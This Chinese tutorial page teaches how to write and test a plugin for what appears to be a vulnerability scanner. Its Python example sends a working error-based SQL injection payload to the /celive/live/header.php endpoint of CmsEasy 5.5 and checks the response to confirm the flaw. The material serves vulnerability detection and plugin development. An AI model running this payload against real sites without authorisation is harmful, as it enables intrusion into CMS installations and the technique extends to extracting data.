编写插件

1. 编写

开发者在本地编写插件代码，以下为 CmsEasy 5.5 UTF-8 20140802/celive/live/header.php SQL注入漏洞 的扫描插件。

  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. # __author__ = 'Medici.Yan'
  4. # 引入需要用到的标准库
  5. import urllib
  7. # assign 验证任务的指纹
  8. def assign(service, arg):
  9.     if service == fingerprint.cmseasy: # 指纹为 cmseasy
  10.         return True, arg  # 返回类型为 tuple
  12. # audit 审计函数，通过指纹验证后调用该函数
  13. def audit(arg):
  14.     # 此插件中 arg 为提交的网址
  15.     # 构造要提交数据的目标 URL
  16.     target = arg + '/celive/live/header.php'
  17.     # 此漏洞要发送的 POST 数据(Payload)
  18.     post_data = {
  19.         'xajax': 'LiveMessage',
  20.         'xajaxargs[0][name]': "1',(SELECT 1 FROM (select count(*),concat("
  21.                               "floor(rand(0)*2),(select md5(233)))a from "
  22.                               "information_schema.tables group by a)b),"
  23.                               "'','','','1','127.0.0.1','2') #"
  24.     }
  25.     # 通过 hackhttp 发送 Payload 到目标
  26.     code, head, body, redirect_url, log = hackhttp.http(
  27.         target, post=urllib.urlencode(post_data))
  28.     # 验证是否存在漏洞
  29.     if 'e165421110ba03099a1c0393373c5b43' in body:
  30.         # 存在漏洞则输出目标 URL
  31.         security_hole(target, log=log)
  33. # 本地测试时需要加 main 用于调用
  34. if __name__ == '__main__':
  35.     # 导入 sdk
  36.     from dummy import *
  37.     # 调用 audit 与 assign
  38.     audit(assign(fingerprint.cmseasy, 'http://localhost/cmseasy/')[1])

读者暂时无需关注插件编写具体内容，我们会在后面的章节中详细讲解如何编写。

2. 测试

将编写好的插件保存，例如文件名叫 demo.py, 直接在终端下运行该文件。如果存在漏洞，则会终端上会有 [LOG] 信息输出。